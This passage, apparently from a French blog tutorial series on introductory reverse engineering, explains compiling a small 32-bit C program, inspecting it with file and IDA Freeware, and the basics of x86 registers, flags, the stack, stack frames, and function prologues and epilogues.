PC. C’est également l’une des plus simples même si cet avis est subjectif. Le fait de se focaliser sur une architecture en particulier permet de moins se perdre dans les comparaisons et les différences qu’il peut y avoir. Par abus de langage, on parle parfois de x86 pour désigner de manière générale la version 32 bits (x86) ou 64 bits (x86_64).Comme cela a été dit auparavant, nous allons effectuer le reverse sous Linux car cela est bien plus simple.Notre premier programme à reverseVoici le programme main.c codé en C que je vous propose d’analyser :int main() { int a = 2; int b = 3; return a+b; }Rien de bien méchant, on réalise une addition puis on retourne le résultat, le tout dans la fonction main.Pour le compiler en 32 bits, vous pouvez utiliser la commande suivante gcc -m32 -fno-pie main.c -o exe. Si vous avez un soucis lors de la compilation en 32 bits, il suffit d’installer ce paquet sudo apt-get install gcc-multilibQuelques infos sur les options de compilation utilisées : -m32 : permet de compiler en 32 bits -fno-pie : pour l’instant nous n’avons pas besoin de comprendre ce que cela fait exactement. Disons que cela nous simplifiera le reverse. Je vous expliquerai ce que cela fait en temps voulu 😉 -o : destination du programme compilé. Vous pouvez modifier le nom si vous le souhaitez En fonction de la machine que vous utilisez et de la version de gcc, il se peut qu’il y ait quelques différences entre votre programme et celui du cours. Il ne devrait pas y avoir énormément de différences dans les instructions mais il se peut que les adresses ne soient pas les mêmes. Toutefois, si vous souhaitez avoir la même version du programme que celle du cours, vous pouvez le télécharger ici : mini_programme. Mais pourquoi se forcer à compiler en 32 bits alors que l’on a tous des PC 64 bits de nos jours ? 🤔En fait, la manière dont fonctionne un programme x86 est légèrement différente de celle d’un programme x86_64 (notamment dans la manière de gérer les arguments des fonctions, conventions d’appel …).Il est donc ainsi intéressant de se focaliser dans un premier temps sur du x86 puis voir les différences avec x86_64. D’ailleurs, les programmes 32 bits restent encore très utilisés.Une grande partie des malwares est toujours développée en 32 bits, par exemple.Premières informations extraitesA ce stade nous avons un programme compilé nommé exe. Nous pouvons déjà utiliser la commande file pour avoir les informations élémentaires du programme file exe :exe: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d2b00fbb13a07b8a98dea2bc af274eae7072d113, for GNU/Linux 3.2.0, not stripped ELF ➡️ Le programme est un ELF, logique, nous sommes sous Linux LSB ➡️ Least Significan Bit. Il s’agit donc d’un programme Little Endian dynamically linked ➡️ les bibliothèques utilisées sont chargées dynamiquement, à l’exécution, et ne sont donc pas présentes statiquement dans le programme not stripped ➡️ les symboles ne sont pas supprimés et sont encore présents dans le programme Les symboles sont des informations, principalement des chaînes de caractères, présentes dans un programme et sont notamment utilisées pour le déboguer. Elles ne sont pas pas nécessaires et peuvent être supprimées avec la commande strip. Par exemple, les noms de variables globales et les noms de fonctions font partie des symboles.Nous pouvons également lancer le programme et afficher la valeur retourner avec ./exe ; echo $?. Le résultat retourné est bien celui attendu : 5.L’utilisation d’un désassembleurComme nous l’avions vu précédemment, il devrait y avoir un segment dans le programme qui contient le code, plus précisément les opcodes.Néanmoins, ni vous, ni moi ne savons lire directement des opcodes comme ça 😅. Il va donc falloir utiliser un outil qui va partir du code “brute” et nous transformer ça en instructions en assembleur. On ne va tout de même pas le faire nous même à la main 🫣 !Plusieurs outils existent : objdump : outil utilisable en ligne de commande inclus dans les GNU Binutils. Cet outil permet d’afficher les informations de base d’un programme ELF ainsi que de désassembler un programme. radare2 : framework utilisable en ligne de commande permettant de réaliser une analyse statique sur un programme (désassemblage et décompilation) Cutter : Version GUI de radare2 Ghidra : Outil GUI développé par la NSA puis rendu open source. Il permet le désassemblage et la décompilation. Il peut être utilisé avec une multitude d’architectures. Binary Ninja : Outil GUI payant (mais dispose d’une version gratuite) plus récent que les autres qui propose le désassemblage et la décompilation. IDA : Outil GUI payant (mais qui dispose d’une version gratuite) qui propose le désassemblage, la décompilation et un debugger (qui n’est pas très ouf en soi 😶). Très utilisé dans le monde professionnel notamment pour de l’analyse de malwares ou recherche de vulnérabilités. Semble être moins utilisé pour d’autres architectures, notamment pour de l’embarqué / IoT.objdump est pas mal pour faire une analyse rapide du code désassemblé dans le terminal sans prise de tête. Mais cela demeure tout de même un outil assez limité.Apprendre à utiliser IDA FreewareJe vous propose d’apprendre à utiliser les fonctionnalités élémentaires d’IDA qui dispose d’une version Freeware. En temps normal j’aurais recommandé d’utiliser Ghidra pour débuter car IDA est un logiciel payant et très cher. Néanmoins, depuis quelques temps, ils proposent une version gratuite pour x86 et x86_64 avec un décompilateur dans le cloud. De toute manière en reverse, on ne se limite pas à un outil en particulier mais il vaut mieux savoir passer d’un outil à un autre. Cela crée de la complémentarité et permet d’avoir une sorte de couteau suisse à disposition. Evidemment nous n’aurons pas le temps d’utiliser chacun de ces outils mais on vous recommande vivement de toucher un peu à tout afin de vous familiariser avec ces outils incontournables.Vous pouvez télécharger une version gratuite pour x86/x86_64 ici.Une fois installé puis ouvert, ouvrez le programme exe que nous venons de compiler. Une fenêtre s’ouvre alors :Vous pouvez laisser les paramètres par défaut et cliquer sur “OK”. Enfin l’interface d’IDA s’affiche.Quelques infos sur les différentes fenêtres et onglets ouverts : IDA View : C’est dans cette fenêtre que s’affichera le code désassemblé en mode “graphe” ou en mode “normal”. Pour basculer de l’un vers l’autre appuyer sur espace. Functions : liste des fonctions présentes dans le programme. Les fonctions commençant par sub sont celles qu’IDA renomme automatiquement car elles n’ont pas de nom ou leur symbole a été supprimé. Schéma du graphe : affiche un schéma global du graphe du code désassemblé. En l’occurrence ce n’est pas très utile car notre fonction ne contient pas de sauts et est donc constituée d’un seul bloc. Output : il s’agit d’une sorte de mini terminal qui affiche certains logs dont ceux qui proviennent des scripts IDA Python. Il y est également possible d’utiliser du code Python. Malheureusement ces deux fonctionnalités ne sont pas disponibles dans la version Freeware. Hex View : cet onglet permet de regarder le contenu brut d’une zone du programme. Elle ne contient donc que des données hexadécimale. Elle peut être utile lorsque l’on souhaite réaliser des modification (que l’on appelle patchs) dans le programme. Structures : cet onglet contient certaines structures du base ainsi que des structures que vous aimeriez utiliser après les avoir ajoutées. Généralement, lorsque l’on réalise le reverse d’un programme, il n’y a plus les informations concernant les structures, c’est donc à nous de “deviner” le format de ladite structure. Une fois que l’on a trouvé globalement sa forme et sa taille, nous pouvons la créer via cet onglet. Enums : cet onglet permet de définir vos propres énumérations. Imports : il s’agit de la liste de toutes les fonctions importées par un programme. Cela est pratique pour avoir une idée de ce que fait le programme : est-ce qu’il utilise des fonctions réseau ? de cryptographie ? Evidemment les programmes les mieux protégés n’ont que très peu de fonctions importées au départ et préfèrent les importer de manière dynamique (par exemple avec une table de hachage). Exports : cet onglet est surtout utile pour les programmes de type “bibliothèque” (.a ou .so sous Linux, .dll sous Windows) qui contiennent les fonctions qu’elles rendent accessibles à tout autre programme qui utiliserait la bibliothèque en question.Le mode graphe est vraiment pas mal car il permet d’avoir un aperçu du flux de contrôle (c’est-à-dire le lien entre les différents blocs d’instructions) et voir si la fonction s’exécute plutôt de manière linéaire ou s’il y a des boucles, un “switch” …Avant d’aller plus loin, je vous invite à prendre l’habitude de faire quelques réglages dont on a souvent besoin lorsque l’on travaille avec IDA. Allez dans Options➡️General. Dans la fenêtre qui s’ouvre cochez la case suivante et saisissez la valeur suivante :Cela permet d’afficher les adresses des instructions et d’afficher leur opcode. L’affichage des opcodes n’est pas si important que ça, si cela vous dérange visuellement vous pouvez la désactivez en saisissant 0 dans la case idoine.Analyse de la fonction mainComme vous pouvez le constater dans l’onglet Functions, il y a plus d’une dizaine de fonctions alors que dans notre programme … on n’en avait défini qu’une !On nous as toujours dit que la fonction main d’un programme était la première à être appelée. Sauf que ce n’est pas exactement ça. En fait, c’est la fonction start qui appelée en premier. Ensuite, c’est la fonction __libc_start_main de la bibliothèque standard libc qui est exécutée afin qu’elle appelle le main en lui fournissant les bons arguments argv et argc. La libc est la bibliothèque standard du C sous Linux, son équivalent sous Windows est msvcrt.dll. Cette bibliothèque contient les fonctions de base en C que vous avez sûrement utilisées moult fois telles que : printf, puts, scanf, malloc, free, strcpy …Je vous propose d’utiliser Compiler Explorer afin d’avoir le lien entre la fonction main et son code assembleur. Vous pouvez utiliser la version x86-64 gcc 13.2 de gcc en n’oubliant pas d’utiliser l’option -m32 pour compiler en 32 bits.On obtient alors le même code assembleur que celui qui est affiché par IDA (à quelques notations près) :Quelques explications :Les zones 1 et 5 correspondent respectivement à ce que l’on appelle prologue et épilogue d’une fonction. Nous n’allons pas nous y attarder pour l’instant, nous nous y intéresserons un peu plus tard.Les zones 2 et 3 correspondent à l’initialisation des variables a et b.La zone 4 correspond à l’addition a+b.Finalement ce qui est réellement nouveau pour nous est cette histoire de prologue et épilogue. Aussi, je ne vous ai toujours pas dit ce que faisait chacune de ces instructions. Patience, tout vient à point à qui sait attendre 😇.Avant d’aller plus loin il est nécessaire de comprendre deux notions essentielles : les registres et la pile." }, { "title": "Partie 6 - Analyse statique d'un mini-programme - les registres (2/5)", "url": "/posts/introduction_au_reverse_partie_6/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-25 08:00:00 -0200", "snippet": "Analyse statique d’un mini-programme : les registres (2/5)Nous en avons déjà parlé brièvement aux précédents chapitres en disant qu’il s’agit d’une sorte de petite zone mémoire située dans le pr...", "content": "Analyse statique d’un mini-programme : les registres (2/5)Nous en avons déjà parlé brièvement aux précédents chapitres en disant qu’il s’agit d’une sorte de petite zone mémoire située dans le processeur. Cela a l’avantage de ne pas avoir à accéder à la RAM qui est située plus loin et donc d’avoir des performances plus élevées. L’inconvénient c’est qu’il n’y a pas tant de registres que ça.A titre de comparaison, de nos jours les RAM ont une capacité de 8 Go minimum alors que le total de mémoire représenté par tous les registres du processeur ne dépasse même pas 1 Mo 🥶.Les principaux registresJe vous propose de nous intéresser aux principaux registres en 32 bits avant d’élargir notre vision vers les registres 64 bits et les registres “secondaires”. Nom du registre Taille en bits Utilisation usuelle eax 32 Stocker la valeur de retour d’une fonction ebx 32 Utilisations diverses ecx 32 Utilisé en tant que compteur dans les boucles edx 32 Utilisé lors des multiplications et divisions edi 32 Utilisé comme pointeur vers une zone mémoire de destination esi 32 Utilisé comme pointeur vers une zone mémoire source ebp 32 Utilisé comme pointeur vers la base de la pile esp 32 Toujours utilisé comme pointeur vers le haut de la pile eip 32 Toujours utilisé comme pointeur vers l’instruction courante exécutée Bien que la plupart de ces registres aient un usage prédisposé, généralement c’est un peu plus souple que cela sauf pour certains registres : esp est toujours utilisé pour pointer vers la pile (plus précisément le haut de la pile) eip est toujours utilisé pour pointer vers l’adresse de l’instruction courante eax contient quasi systématiquement la valeur de retour mais cela ne l’empêche pas de pouvoir être utilisé autrement (stockage, multiplication, division …)Par exemple, il est possible qu’une fonction, le temps d’un calcul, utilise ebp comme registre de stockage temporaire, rien ne l’interdit.Néanmoins, ebp et esp vont être très souvent utilisés pour gérer le stockage et l’accès aux arguments et variables locales situées dans la pile. Nous verrons cela en détails au prochain chapitre.Les différentes tailles de registresSi vous n’avez pas la mémoire trop courte, vous vous souvenez que pour avoir la version 64 bits d’un registre, il suffit de changer le e de début par un r et inversement.En fait, en assembleur x86, il est possible d’utiliser différentes tailles pour un même registre selon ce que l’on souhaite faire. Par exemple, si je souhaite stocker un char dans le registre eax, je n’ai besoin que d’un octet (8 bits) : je n’aurai donc pas besoin de tous les 32 bits ou 64 bits qui sont présents dans le registre.Ainsi, il est possible de manipuler les parties basses des registres lorsque l’on a pas besoin d’utiliser les bits de poids fort. Par exemple, voici les différents noms des “sous-registres” de rax : AH représente les 8 bits de poids fort (High) de AXAL représente les 8 bits de poids faible (Low) de AXAinsi, voici où pourraient être stockées certaines variables : long long int ➡️ rax (64 bits seulement) int ➡️ eax short ➡️ ax char ➡️ al Ce n’est pas parce qu’une valeur est de petite taille que l’on ne peut pas la stocker dans un registre de grande taille ! Evidemment l’inverse, par contre, n’est pas possible ⛔.Voici les différents noms des principaux registres en fonction des différentes tailles : 64 bits 32 bits 16 bits 8 bits (poids fort) 8 bits (poids faible) rax eax ax ah al rbx ebx bx bh bl rcx ecx cx ch cl rdx edx dx dh dl rdi edi di - dil rsi esi si - sil rbp ebp bp - bpl rsp esp sp - spl rN rNd rNw - rNl Dans le précédent tableau, N dans les registres rN représente un nombre entre 8 et 15, par exemple : r8,r9,…,r15. Il s’agit de registres présents et utilisables uniquement dans les processeurs x86_64. Ce tableau n’est pas à apprendre par cœur mais il est important de garder en tête la “logique” utilisée dans la nomenclature des registres . On revient souvent vers ce tableau, par exemple, lorsque l’on ne se rappelle plus si dl représente l’octet de poids faible de edx ou edi ? Pourquoi eip ou rip ne sont pas présents dans le tableau ?Comme nous l’avions dit tout à l’heure, eip pour les programmes 32 bits ou rip pour les programmes 64 bits pointent vers l’adresse de l’instruction courante. Ainsi, cela n’a pas tellement de sens d’avoir accès aux bits de poids faible dans un tel contexte.Les autres registresLe registre EFLAGSEFLAGS (ou RFLAGS en 64 bits) est un registre un peu spécial.Contrairement aux registres vus précédemment, nous n’allons pas l’utiliser pour y stocker des données ou le faire pointer vers une zone mémoire. Il s’agit d’un registre où chacun de ses bits a une signification particulière et représente un état bien précis du processeur. On parle également de flags de la même manière que l’on parle de flags en C lorsque l’on manipule une variable du type ENUM1 | ENUM2 | ENUM3 …C’est-à-dire que chaque flag correspond à un bit à une position bien déterminée. Chacun de ces flags (ou bit si vous préférez) va être modifié dans certaines circonstances. Selon leur valeur, 1 ou 0, cela va apporter une indication sur le code qui est exécuté. Les registres EFLAGS et RFLAGS n’ont rien à voir 🙅‍♂️ avec les variables CFLAGS utilisées lors de la compilation.Prenons le flag ZF qui est l’un des plus connus. Lorsqu’une opération impliquera un résultat nul, par exemple une soustraction entre deux termes égaux, ZF sera égal à 1. Tandis que lorsque le résultat sera non nul, ZF sera nul. Ça va vous me suivez 😅 ?C’est ce flag qui est généralement utilisé lorsqu’une condition de type est rencontrée :if(var){\t// Code exécuté si \"var\" est non nulle}else{\t// Code exécuté si \"var\" est nulle}Voici, selon Wikipedia, la position des différents flags dans RFLAGS :Les bits grisés étant réservés et/ou dont l’utilité est inconnue.Voici l’utilité des principaux flags des RFLAGS: ZF (Zero Flag) : le flag ZF est mis à 1 si le résultat d’une opération est zéro, et à 0 sinon. Il est notamment utilisé pour les comparaisons. CF (Carry Flag) : le flag CF est mis à 1 si une opération génère une retenue ou emprunte à une opération précédente, et à 0 sinon. Il est principalement utilisé dans les opérations arithmétiques. SF (Sign Flag) : le flag SF est mis à 1 si le résultat d’une opération est négatif et à 0 sinon. Il indique le signe du résultat. OF (Overflow Flag) : le flag OF est mis à 1 si une opération arithmétique génère un dépassement de capacité (overflow) et à 0 sinon. Il est utilisé pour détecter des erreurs lors de l’ajout ou de la soustraction de nombres signés (pouvant être positifs ou négatifs). PF (Parity Flag) : le flag PF est mis à 1 si le nombre de bits définis à 1 dans le résultat est pair, et à 0 si le nombre de bits définis à 1 est impair. IF (Interrupt Enable Flag) : le flag IF est utilisé pour activer (à 1) ou désactiver (à 0) les interruptions matérielles. Quand il est à 0, les interruptions matérielles sont désactivées. TF (Trap Flag) : le flag TF est utilisé pour activer (à 1) ou désactiver (à 0) le mode de débogage de trace, où le processeur génère une interruption après chaque instruction.Nous verrons bien en détails l’utilité de ces flags lorsque l’on verra comment sont modélisées les conditions (if,else …) en assembleur.Les registres AVXLes registres AVX (Advanced Vector Extensions) sont des registres supplémentaires qui ont été ajoutés au fur et à mesure à l’architecture x86.Ils permettent le traitement simultané de plusieurs données en parallèle, ce qui est particulièrement utile dans les applications impliquant des calculs intensifs, tels que le traitement d’images, le rendu 3D, la simulation physique, etc. AVX étend les capacités SIMD (Single Instruction, Multiple Data) des processeurs x86 en introduisant des registres plus larges et en permettant des opérations vectorielles sur des données de 128 bits, 256 bits et même 512 bits.Leur usage n’est pas seulement destiné à de l’utilisation avec de l’image ou de l’audio, mais ils peuvent être utilisés pour, par exemple, mettre à zéro une grande portion de mémoire ou stocker des valeurs nécessitant beaucoup de place.Les registres AVX ont la taille suivante : XMM : 128 bits (16 octets) YMM : 256 bits (32 octets) ZMM : 512 bits (64 octets)Ils sont agencés de cette manière (où n est un nombre entre 0 et 31): [511 ; 256] [255 ; 128] [127 ; 0] ZMMn YMMn XMMn Si vous ne savez pas les utiliser, ce n’est pas bien grave car on ne les rencontre pas si souvent que ça. Et lorsque c’est le cas, il suffit de lire la doc’ pour comprendre comment cela fonctionne.Et puis, vous savez quoi ? Apparemment même Intel (oui oui ceux qui font les processeurs Intel et l’assembleur x86 associé) n’a pas su les utiliser avec le codec AV1 😅 (source).📋 SynthèseNous avons vu les principaux registres en x86. Il y en a d’autres mais qui ne sont pas souvent utilisés en reverse tels que les registre CR0, CR1 etc. qui sont utilisés en kernel land.Néanmoins nous avons vu la majorité de ceux qui sont utilisés en user land, c’est-à-dire dans les programmes usuels qui ne sont pas exécutés directement en mémoire kernel land (donc pas les pilotes, modules kernel …).Nous avons vu ensemble que les registres peuvent contenir des données quelconques mais peuvent aussi être utilisés en tant que pointeurs (comme rbp). En effet, nous verrons un peu plus loin ce que cela implique en termes d’instructions assembleur car on n’utilise pas les mêmes instructions selon que le registre pointe vers une adresse ou non." }, { "title": "Partie 7 - Analyse statique d'un mini-programme - la pile (3/5)", "url": "/posts/introduction_au_reverse_partie_7/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-24 08:00:00 -0200", "snippet": "Analyse statique d’un mini-programme : la pile (3/5) On va garder IDA encore ouvert très longtemps sans rien faire ?Allez, encore un peu de théorie nécessaire avant de revenir au reverse de notr...", "content": "Analyse statique d’un mini-programme : la pile (3/5) On va garder IDA encore ouvert très longtemps sans rien faire ?Allez, encore un peu de théorie nécessaire avant de revenir au reverse de notre programme. En effet, si on ne comprend pas le fonctionnement de la pile, on ne pourra jamais comprendre : comment les variables locales sont utilisées comment les arguments sont transmis et utilisés comment une fonction retourne etc.Contrairement au tas, la pile (ou pile d’exécution ou stack 🇬🇧) porte bien son nom car elle utilise effectivement la structure de donnée qu’est la pile. C’est-à-dire qu’il s’agit d’une zone mémoire de type LIFO (Last In First Out) ou Dernier Arrivé Premier Servi.Empiler et dépilerJe vous propose d’utiliser plusieurs exemples afin de comprendre son fonctionnement. Par souci de clarté, nous nous limiterons à une analyse de la version 32 bits de pile étant donné que le fonctionnement en 64 bits est exactement le même. La seule différence entre la pile en 32 bits et 64 bits est la taille maximum de chaque élément qu’elle peut stocker (respectivement 32 et 64).Prenons une pile pouvant contenir jusqu’à 6 éléments. Si vous vous souvenez, la convention fait que les adresses basses sont situées en haut alors que les adresses hautes en bas.Imaginons que la pile contienne un seul élément pour l’instant, nous avons donc ceci en mémoire :Supposons que l’élément non vide provienne d’une fonction A mais que nous sommes désormais dans le code d’une fonction B. Alors esp et ebp sont confondus et pointent vers le haut de la pile. Très souvent, pour ne pas dire tout le temps, lors de l’entrée dans une nouvelle fonction la pile a cette allure (après exécution du prologue), c’est-à-dire que esp et ebp pointent vers le haut de la pile. C’est en partie à cela que sert le prologue d’une fonction : avoir un nouvel état “clean” de pile. Le haut de la pile n’est pas 0x70000100 car le haut de la pile est la dernière valeur ajoutée sur la pile.Ajoutons quelques éléments à notre pile ! Par exemple : l’entier 0xdeadbeef l’entier nul 0x00000000 le caractère AVoyons tout d’abord l’état de la pile après avoir ajouté 0xdeadbeef :Désormais, le haut de la pile est l’adresse qui pointe vers 0xdeadbeef et qui est donc 0x70000110, c’est pourquoi esp pointe vers cette adresse.Pour rappel : esp pointe vers le haut de la pile ebp pointe vers la base de la pile Ce n’est pas à nous de mettre à jour à chaque fois esp pour qu’il pointe vers le haut de la pile. Cela est en effet réalisé automatiquement lorsque l’on ajoute (empile) une valeur sur la pile.Maintenant, ajoutons nos deux autres éléments : 0x00000000 puis A. L’état de la pile est alors le suivant :Pour l’instant, c’est logique, tout va bien. Désormais je souhaite récupérer la valeur 0x00000000 de la pile. Le soucis est qu’en raison de la structure de données qu’est la pile, nous ne pouvons pas accéder directement à n’importe quelle valeur. En effet, seules deux opérations sont possibles : Empiler : ajouter un élément en haut de la pile. Cette opération est réalisée avec l’instruction assembleur push ELT où ELT est l’élément mis en tête de la stack, exemple : push 0xdeadbeef. ELT peut être soit une valeur concrète comme 0xdeadbeef soit un registre comme rax auquel cas c’est la valeur contenue dans le registre qui est insérée en haut de la pile. Dépiler : retirer un élément du haut de la pile. Cette opération est réalisée avec l’instruction assembleur pop DEST où DEST est la destination où sera stocké l’élément retiré. DEST est toujours un registre.Ainsi, pour accéder à 0x00000000, il va falloir dépiler une première fois pour récupérer A (nous ne sommes pas obligés d’en faire quelque chose) puis dépiler une deuxième fois pour avoir accès à la valeur qui nous intéresse.Si je souhaite stocker 0x00000000 dans edi, par exemple, je peux faire :pop edi ; edi = 0x41 (encodage ASCII de 'A')pop edi ; edi = 0x00000000La pile aura ensuite l’allure suivante :La stack frameA présent que nous avons les idées plus claire sur la pile (stack), intéressons-nous à une manière d’utiliser la stack afin de bien gérer les appels de fonction, les variables locales et les arguments : la stack frame (ou cadre de pile 😴).L’idée globale est que chaque fonction puisse pouvoir gérer de manière autonome : ses variables locales l’accès aux argumentsPrenons un exemple concret avec le code suivant qui calcul le discriminant d’un polynôme du second degré :#include \"stdio.h\" int discriminant(int a, int b, int c) { \t int result = b*b - (4*a*c); \t return result; } int main() { \t// Le polynôme : x² + 10x + 3 \tint a = 1; \tint b = 10; \tint c = 3; \t\tint result = discriminant(a,b,c); \t\tprintf(\"Le discriminant de mon polynôme est %d\\n\",result); }Supposons que l’état de la pile avant l’appel à la fonction discriminant(a,b,c) soit dans un état quelconque :La question que l’on peut se poser est : comment appeler la fonction discriminant en faisant en sorte qu’elle ait sa propre stack frame sans empiéter sur celle de la fonction main ? La réponse à cette question est exactement ce que vont faire l’appel à la fonction ainsi que son prologue.📣 L’appel de fonctionJe vous propose de décortiquer la manière dont l’appel à la fonction discriminant est effectué en x86 : Ajout des arguments : tout d’abord, il va bien falloir que d’une façon ou d’une autre, la fonction discrimiant puisse avoir accès aux trois arguments. Ajout de l’adresse de retour : une fois que la fonction discriminant sera exécutée, il faut qu’elle puisse retourner à l’instruction qui est située immédiatement après son appel dans la fonction main Création de la stack frame de discriminant : la fonction discriminant a besoin d’un minimum d’espace pour stocker son unique variable locale.Ajout des arguments : Comme la pile est une structure de données de type “Dernier Arrivé Premier Servi”, le dernier argument 3 est empilé en premier. Puis le deuxième argument 10 est empilé. Enfin, le premier argument 1 est empilé en dernier.Ajout de la valeur de retour : Il ne faut pas confondre adresse de retour et valeur de retour qui sont deux choses totalement différentes. La valeur de retour est le résultat retourné par une fonction, par exemple -1 dans return -1;. La valeur de retour est toujours retourné via eax (et ses dérivées) sauf exception. L’adresse de retour est l’adresse de l’instruction, dans la fonction appelante, que le processeur va exécuter une fois que la fonction appelée est terminée.Ok super ! Nous sommes dorénavant prêts pour rentrer dans le code de la fonction discriminant. Tout d’abord, comme vous pouvez le constater, esp et ebp pointent vers les adresses de début et de fin de la stack frame de main. Il ne faudrait donc pas qu’en créant notre nouvelle stack frame perdre ces informations. Nous allons donc les stocker sur la pile. En fait nous n’avons besoin que de stocker ebp car, lorsque l’on quittera la fonction discriminant, esp retombera naturellement sur la valeur qu’il avait avant d’entrer dans la fonction.Le prologueVous vous souvenez du prologue ? C’étaient les instructions :push ebpmov ebp, espsub esp, 0x10Après avoir sauvegardé ebp avec push ebp, la pile est dans cet état :Ensuite, le processeur va créer une nouvelle stack frame en initialisant ebp à la même valeur que esp via mov ebp, esp.Cette instruction déplace (copie) le contenu de esp dans ebp, la pile devient alors de la sorte :Bon, pour l’instant c’est pas fameux, on ne voit pas la stack frame de la fonction discriminant par ce qu’elle est … tout simplement vide ! Or nous avons besoin d’un peu d’espace pour les variables locales, en l’occurrence ici LA variable locale resultat.Dans le prologue, c’est l’instruction sub esp, 0x10 qui se charge de réserver un tel espace pour les variables locales en soustrayant esp de l’espace désiré. Ici cela revient à faire esp = esp - 0x10. Pour rappel, comme les adresses basses sont en haut et inversement, pour augmenter la taille de la pile on soustrait à esp Tandis que lorsque l’on souhaite réduire la taille de la pile, on ajoute à esp.Enfin, la stack frame de discriminant est la suivante : On aurait pu, sur le schéma, inclure Adresse de retour dans la stack frame de discriminant. Le choix de ne pas l’inclure permet de garder en tête que la stack frame courante est tout l’espace compris entre les valeurs pointées par esp (qui en délimite le haut) et ebp (qui en délimite la base) J’ai pas très bien compris pourquoi on étend la pile de 16 (0x10) octets alors que l’on a qu’une seule variable locale int result qui est de 4 octets ?C’est pas très écolo tout ça !Excellente question et qui a dû en perturber plus d’un (et j’en fais partie 😅) ! En fait c’est une question d’alignement.Le processeur aime bien que esp soit aligné sur 8 bits, c’est-à-dire qu’il ait la forme suivante : 0xXXXXXXX0. Autrement dit, que esp soit un multiple de 16. C’est pourquoi que l’on ait 4, 8 ou 12 octets de variables locales, le processeur réservera 16 octets. Dans la même optique d’aligner esp, vous verrez peut-être dans le prologue de certaines fonctions une instruction and esp, 0xfffffff0 qui réalise un ET logique de telle sorte à ce que esp soit aligné sur 16 octets.A partir de maintenant, le prologue est terminé et il est possible de récupérer les arguments, stocker les variables locales, faire des calculs etc.Ainsi tout l’espace mémoire entre ebp et esp peut être utilisé pour stocker des variables locales.L’épiloguePour rappel, une fonction est constituée de 3 parties : Le prologue Faire des trucs (calculs, stockage …) L’épilogueEn découpant la fonction main de notre premier programme (celui qui fait une addition et retourne la somme) ouvert dans IDA, nous identifions bien ces 3 étapes distinctes :Intéressons nous à l’épilogue qui est :leaveretIl faut savoir que leave n’est pas une instruction atomique. Cela signifie que lorsque le processeur exécute cette instruction, il exécutera en réalité plusieurs instructions.En l’occurrence l’instruction leave est totalement équivalente (en 32 bits) à :mov esp, ebppop ebp Ah mais c’est exactement l’inverse de ce qu’a fait le prologue ?C’est ça !Pour rappel le prologue est (en partie) :push ebpmov ebp, espL’instruction mov esp, ebp permet de mettre fin à la stack frame courante en mettant esp à la base de celle-ci. Tandis que l’instruction pop ebp permet de restaurer l’ancienne valeur de ebp : celle de la stack frame de la fonction main. Il n’y a pas besoin “d’inverser” l’instruction sub esp, 0x10 car le fait de faire mov esp, ebp implique que esp pointe désormais vers le bas de la stack frame, indépendamment de la valeur qu’il avait auparavant.L’instruction leave permet ainsi de “sortir”, comme son nom l’indique, de la stack frame de la fonction appelée. Si on reprend notre exemple avec la fonction main et discriminant, après l’instruction leave la pile d’exécution a cette tête :Il ne nous reste plus qu’à exécuter l’instruction ret. En fait, pour aller droit au but, l’instruction ret est exactement équivalente à faire pop eip.Or vous vous souvenez, eip pointe vers l’instruction qui va être prochainement exécutée. Ainsi, après l’exécution de ret, eip sera égal à l’adresse de retour qui est, pour rappel, l’adresse dans le main après l’appel de fonction.Vu que ret dépile l’adresse de retour, la stack frame de la fonction main est restée intacte du début à la fin de l’appel de la fonction discriminant. Comme c’est la fonction main qui s’est chargée de mettre les arguments sur la pile, c’est à elle de s’en débarrasser 😏 ! Même si, en réalité, ce n’est pas toujours le cas, en effet, dans certaines situations, c’est à la fonction appelée de s’en charger. Nous verrons cela un peu plus tard.📋 SynthèseNous venons de voir le fonctionnement de la pile dans le contexte de l’exécution d’un programme. Plusieurs points ont été vus : La pile d’exécution est une structure du type LIFO : Dernier Arrivé Premier Servi Seules deux opérations sont possibles : empiler (avec push) et dépiler avec pop Chaque fonction a sa propre zone mémoire dédiée dans la pile nommée stack frame L’exécution d’une fonction est réalisé en 3 étapes : Prologue Autres opérations quelconques Épilogue Les registres esp et ebp permettent, entre autres, de délimiter respectivement le haut et la base d’une stack frame➕ BonusOn vient de voir qu’une stack frame est créée à chaque appel d’une fonction. Ainsi, si une fonction récursive (qui s’appelle elle-même) est appelée sans fin, cela va consommer de la mémoire pour chaque stack frame : c’est tout simplement ce que l’on appelle un stack overflow !Voilà, vous savez désormais ce que signifie et d’où provient le nom du site éponyme😎." }, { "title": "Partie 8 - Analyse statique d'un mini-programme - les affectations de valeurs, la lecture et écriture en mémoire (4/5)", "url": "/posts/introduction_au_reverse_partie_8/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-23 08:00:00 -0200", "snippet": "Analyse statique d’un mini-programme : les affectations de valeurs, la lecture et écriture en mémoire (4/5)Je sais que ça fait un petit moment que l’on a laissé IDA ouvert sans avoir pris le temps...", "content": "Analyse statique d’un mini-programme : les affectations de valeurs, la lecture et écriture en mémoire (4/5)Je sais que ça fait un petit moment que l’on a laissé IDA ouvert sans avoir pris le temps d’avancer sur notre reverse, mais maintenant que vous avez les bases dans la gestion de la pile et des registres, nous pouvons y revenir !A présent que nous savons ce que sont les registres et comment fonctionne la pile, nous en devrions pas avoir trop de mal à comprendre ce qui se passe dans la fonction main.Ce sera également l’occasion de revoir certaines notions et d’en aborder de nouvelles : le passage des arguments lors d’un appel de fonction la gestion des variables locales les boucles les conditions etc.Rappels de la fonction mainPour rappel, voici à quoi ressemblait notre fonction main :int main() { int a = 2; int b = 3; return a+b; }Et son code désassemblé par IDA :Tout d’abord, intéressons nous à ce qui est affiché entre le main proc near et ; __unwind {. IDA a fait le choix de remplacer certains offsets (ou décalage mémoire) avec des noms tels que var_4, argc etc. En reverse on utilise énormément la notion d’offset par rapport à l’utilisation d’une adresse “fixe”. Par exemple, on préfère dire que la première variable est située à l’adresse ebp-8 (-8 étant l’offset) que de dire qu’elle est située à l’adresse 0x7fffff10. Pourquoi ? Tout simplement car de nos jours, les adresses utilisées dans un programme sont aléatoires ce qui signifie que d’une exécution à une autre, l’adresse de la variable locale peut changer tandis que ebp-8 pointera toujours vers la variable en question.Les offsets des variables et argumentsEn fait, parmi les offset qu’IDA renomme, nous pouvons en distinguer 2 catégories : ceux qui ont un offset positif ➕ : ce sont les arguments. En effet, il sont situés 